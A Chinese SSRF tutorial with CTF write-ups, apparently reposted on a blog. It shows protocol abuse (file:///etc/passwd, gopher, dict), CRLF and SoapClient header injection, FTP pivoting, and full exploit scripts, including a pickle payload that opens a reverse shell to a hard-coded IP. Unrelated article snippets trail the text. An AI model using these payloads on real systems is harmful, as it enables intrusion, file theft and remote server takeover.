网络安全漏洞挖掘之漏洞SSRF

ops/2024/12/13 13:55:09/

SSRF简介

SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

如图是一个简单的SSRF

在这里插入图片描述源码如下

<?php
function curl($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);
}
$url = $_GET['url'];
curl($url);

利用协议

file/local_file

利用file文件可以直接读取本地文件内容,如下

file:///etc/passwd
local_file:///etc/passwd

local_file与之类似,常用于绕过

dict

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用dict协议可以获取目标服务器端口上运行的服务版本等信息。

如请求

dict://192.168.163.1:3306/info

在这里插入图片描述可以获取目标主机的3306端口上运行着mariadb

Gopher

Gopher是基于TCP经典的SSRF跳板协议了,原理如下

gopher://127.0.0.1:70/_ + TCP/IP数据(URLENCODE)

其中_可以是任意字符,作为连接符占位

一个示例

GET /?test=123 HTTP/1.1
Host: 127.0.0.1:2222
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

URL编码后

%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a

测试

curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->
HTTP/1.1 200 OK
Host: 127.0.0.1:2222
Date: Tue, 26 May 2020 03:53:05 GMT
Connection: close
X-Powered-By: PHP/7.3.15-3
Content-type: text/html; charset=UTF-8

123

所以在SSRF时利用gopher协议我们就可以构造任意TCP数据包发向内网了

利用CRLF

在HTTP的TCP包中,HTTP头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。

下图是一个示例:

在这里插入图片描述如果我们能在输入的url中注入\r\n,就可以对HTTP Headers进行修改从而控制发出的HTTP的报文内容

比如下图
在这里插入图片描述USER anonymous等就是通过CRLF注入插入的伪HTTP Header

PHP中利用Soap Client原生类

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

在PHP中该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。具体可以设置的参数可见官方文档

其中提供了一个接口

The user_agent option specifies string to use in User-Agent header.

此处本意是注入User_Agent HTTP请求头,但是此处存在CRLF注入漏洞,因此我们在此处可以完全控制HTTP请求头

利用脚本如下

<?
$headers = array(//要注入的header'X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,'uri'      => "aaab"));

利用FTP作为跳板

FTP是基于TCP的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议
在这里插入图片描述

通过FTP传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。

在这里插入图片描述FTP协议中命令也是通过\r\n分割的 同时FTP会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用HTTP作为FTP包的载荷

同时通过使用PORT命令打开FTP主动模式,可以实现TCP流量代理转发的效果

# STEP 1 向FTP服务传TCP包
TYPE I
PORT vpsip,0,port
STOR tcp.bin# STEP 2 让FTP服务向内网发TCP包TYPE I
PORT 172,20,0,5,105,137
RETR tcp.bin

DNS Rebinding

针对SSRF,有一种经典的拦截方式

  1. 获取到输入的URL,从该URL中提取host
  2. 对该host进行DNS解析,获取到解析的IP
  3. 检测该IP是否是合法的,比如是否是私有IP等
  4. 如果IP检测为合法的,则进入curl的阶段发包

第三步对IP进行了检测,避免了内网SSRF

然而不难发现此处对HOST进行了两次解析,一次是在第二步检测IP,第二次是在第四步发包。那么我们很容易有以下绕过思路

控制一个域名xxx.xxx,第一次DNS解析,xxx.xxx指向正常的ip,防止被拦截

第二次DNS解析,xxx.xxx指向127.0.0.1(或其他内网地址),在第四步中curl向第二次解析得到对应的内网地址发包实现绕过

这个过程已经有了较为完善的利用工具

例题

主要分析题目中的SSRF部分
MRCTF2020 Ezpop Revenge

目标是访问/flag.php 但限制了访问请求的来源ip必须为127.0.0.1也就是本地访问

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){$_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

此题的前半部分在于typecho pop链的构造此处就不过多赘述,直接上Exp

<?php
class HelloWorld_DB{private $flag="MRCTF{this_is_a_fake_flag}";private $coincidence;function __construct($coincidence){$this->coincidence = $coincidence;}function  __wakeup(){$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);}
}
class Typecho_Request{private $_params;private $_filter;function __construct($params,$filter){$this->_params=$params;$this->_filter=$filter;}
}
class Typecho_Feed{private $_type = 'ATOM 1.0';private $_charset = 'UTF-8';private $_lang = 'zh';private $_items = array();public function addItem(array $item){$this->_items[] = $item;}
}$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);$a = new SoapClient(null,array('location' => $target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,'uri'      => "aaab"));$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);
echo serialize($exp)."\n";
echo urlencode(base64_encode(serialize($exp)));

其中$a为SOAP载荷,call_user_func()对SOAP对象进行了主动调用从而触发了请求。

这里关键是使用了PHP的SoapClient进行了一个SSRF

<?php
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,'uri'      => "aaab"));

通过CRLF注入PHPSESSION 然后访问/flag.php php将flag放入session中,我们再带着这个SESSION去访问对应网页就能获取到存储的flag了

MRCTF2021 half nosqli

这个题的前半部分在于Mongodb永真式万能密码绕过,后半部分就是SSRF

首先可以打到自己vps上看看效果
headers = {"Accept":"*/*","Authorization":"Bearer "+token,
}url_payload = "http://buptmerak.cn:2333"json = {"url":url_payload
}req = r.post(url+"home",headers=headers,json=json)print(req.text)

在这里插入图片描述

发现发送了HTTP的请求包

经过尝试该题目中存在Nodejs曾爆出的一个SSRF漏洞,即Unicode拆分攻击,可以进行CRLF注入

利用原理如下

在Node.js尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码。

而当Node.js版本8或更低版本对此URL发出GET请求时,\u{ff0a}\u{ff0d}不会进行转义,因为它们不是HTTP控制字符:

但是当结果字符串被默认编码为latin1写入路径时,这些字符将分别被截断为\x0a\x0d也即\r\n 从而实现了CRLF注入

headers = {"Accept":"*/*","Authorization":"Bearer "+token,
}url_payload = "http://buptmerak.cn:2333/"payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")def payload_encode(raw):ret = u""for i in raw:ret += chr(0xff00+ord(i))return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")url_payload = url_payload + payload_encode(payload)print(url_payload)json = {"url":url_payload
}req = r.post(url+"home",headers=headers,json=json)print(req.text)

可以看到发回的包
在这里插入图片描述已经实现了CRLF的注入,这里的payload也就是我们最终构造的FTP请求包,通过这个请求包,可以使FTP主动向我们的服务器发送上面的文件

在这里插入图片描述USER anonymous 以匿名模式登录
PASS 随意
CWD 切换文件夹
TYPE I 以binary格式传输
PORT vpsip,0,1890 打开FTP主动模式
RETR 向对应ip:port 发送文件

在vps上开一个监听端口,就能监听到发来的文件了

headers = {"Accept":"*/*","Authorization":"Bearer "+token,
}url_payload = "http://ftp:8899/" #题目附件中docker-compose.yml中泄露的内网主机名payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")def payload_encode(raw):ret = u""for i in raw:ret += chr(0xff00+ord(i))return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")url_payload = url_payload + payload_encode(payload)print(url_payload)json = {"url":url_payload
}req = r.post(url+"home",headers=headers,json=json)print(req.text)

在这里插入图片描述StarCTF2021 oh-my-bet

题目在获取头像地址处存在ssrf

def get_avatar(username):dirpath = os.path.dirname(__file__)user = User.query.filter_by(username=username).first()avatar = user.avatarif re.match('.+:.+', avatar):path = avatarelse:path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])try:content = base64.b64encode(urllib.request.urlopen(path).read())except Exception as e:error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])content = base64.b64encode(urllib.request.urlopen(error_path).read())print(e)return content
import urllib.parse
import requests
import re
import base64
import timeurl = "http://localhost:8088/login"def read_file(filename):name = "eki"+str(time.time())avatar = filenamedata = {"username":name,"password":"322","avatar":avatar,"submit":"Go!",}res = requests.post(url,data=data)txt = res.textfind = re.findall("<img src.*>",txt)if len(find) != 0:with open("out",'wb') as f:st = base64.b64decode(find[0][32:-47])f.write(st)if len(st) == 4611:print("{} not exists!".format(filename))else:print("Success!->out")else:print("Error")print(res.text)read_file("file:///app/app.py")

并且该版本的urllib.request.urlopen(path)存在CRLF注入漏洞

分析题目给出的源码,我们能得到最终的解题思路是

向FTP传输恶意流量包并存储->FTP向Mongodb发送恶意流量包插入恶意Session->Session Pickle 反序列化反弹shell
生成恶意mongdb流量包

生成恶意pickle序列化串

import pickle
import base64
import osclass RCE:def __reduce__(self):cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("81.70.154.76",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")return os.system, (cmd,)if __name__ == '__main__':pickled = pickle.dumps(RCE())print(base64.urlsafe_b64encode(pickled))open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())

生成Mongodb的BSON数据

const BSON = require('bson');
const fs = require('fs');// Serialize a document
const doc = {insert: "sessions", $db: "admin", documents: [{"id": "session:e51fca6f-1248-450c-8961-b5d1a1aaaaaa","val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),"expiration": new Date("2025-02-17")
}]};
const data = BSON.serialize(doc);let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let full = Buffer.concat([beginning, data]);full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);

攻击流程

上传到内网FTP服务器

payload = '''
TYPE I
PORT vpsip,78,32
STOR bson.bin
'''exp = 'http://172.20.0.2:8877/'exp += urllib.parse.quote(payload.replace('\n', '\r\n'))read_file(exp)

vps打开文件发送

import socketHOST = '0.0.0.0'  
PORT = 20000        
blocksize = 4096
fp = open('bson.bin', 'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.bind((HOST, PORT))print('start listen...')s.listen()conn, addr = s.accept()with conn:while 1:buf = fp.read(blocksize)if not buf:fp.close()breakconn.sendall(buf)print('end.')

内网FTP向Mongodb发送构造恶意数据包

payload = '''
TYPE I
PORT 172,20,0,5,105,137
RETR bson.bin
'''exp = 'http://172.20.0.2:8877/'exp += urllib.parse.quote(payload.replace('\n', '\r\n'))read_file(exp)

最终触发

import requestsurl = "http://localhost:8088/"cookie = {"session":"e51fca6f-1148-450c-8961-b5d1aaaaaaaa"
}req = requests.get(url,cookie=cookie)

http://www.ppmy.cn/ops/141553.html

相关文章

享元模式的理解和实践

在软件开发中&#xff0c;性能优化是一个永恒的话题。在追求高性能的过程中&#xff0c;减少内存的使用是一项重要的任务。享元模式&#xff08;Flyweight Pattern&#xff09;就是一种用于减少内存使用量的设计模式&#xff0c;它特别适用于存在大量重复对象的场景。本文将详细…

STM32F407ZGT6-ADC

参考&#xff1a; 1.正点原子 2.https://openatomworkshop.csdn.net/6673ddaba1e8811a9781de12.html 3.https://devpress.csdn.net/hefei/6462fb143399b617f0c02487.html (暂时未看) 1.ADC简述 ADC 即模拟数字转换器&#xff0c;英文详称 Analog-to-digital converter&#x…

Robust Univariate Mean Estimation算法简介

Robust Univariate Mean Estimation 是一种统计算法&#xff0c;主要用于在单变量场景中估计样本的均值&#xff0c;同时对异常值&#xff08;outliers&#xff09;具有鲁棒性。传统的均值估计使用样本的算术平均值&#xff0c;但它对异常值高度敏感。为了缓解这个问题&#xf…

Java爬虫设计:淘宝商品详情接口数据获取

1. 概述 淘宝商品详情接口&#xff08;如Taobao.item_get&#xff09;允许开发者通过编程方式&#xff0c;以JSON格式实时获取淘宝商品的详细信息&#xff0c;包括商品标题、价格、销量等。本文档将介绍如何设计一个Java爬虫来获取这些数据。 2. 准备工作 在开始之前&#x…

操作系统:虚拟存储系统

目录 1、外存资源管理 外存空间划分 进程与外存对应关系 2、虚拟页式存储系统 3、 淘汰算法&#xff08;重点&#xff09;P217 最佳淘汰算法&#xff08;OPT&#xff09; 先进先出(FIFO) 最近最少使用算法&#xff08;LRU&#xff09; 最近不用的先淘汰(LNU) 最不经常…

支持自定义离线地图地理区域,查询组件及数据源功能增强,DataEase开源BI工具v2.10.3 LTS发布

2024年12月9日&#xff0c;人人可用的开源BI工具DataEase正式发布v2.10.3 LTS版本。 这一版本的功能变动包括&#xff1a;数据源方面&#xff0c;API数据源和Excel数据源支持对字段类型和长度进行设置&#xff1b;图表方面&#xff0c;离线类地图支持自定义地理区域设置&#…

快速掌握Quartz.Net计划任务调度框架,轻松实现定时任务

前言 Quartz.Net是一个开源的作业调度框架&#xff0c;可以用于管理计划任务和定期执行。Quartz.Net提供了丰富的作业计划选项&#xff0c;例如精确或模糊时间表达式、日期和时间限制等。Quartz.Net采用分布式架构&#xff0c;允许在多个计算机上运行任务。 Quartz.Net架构设…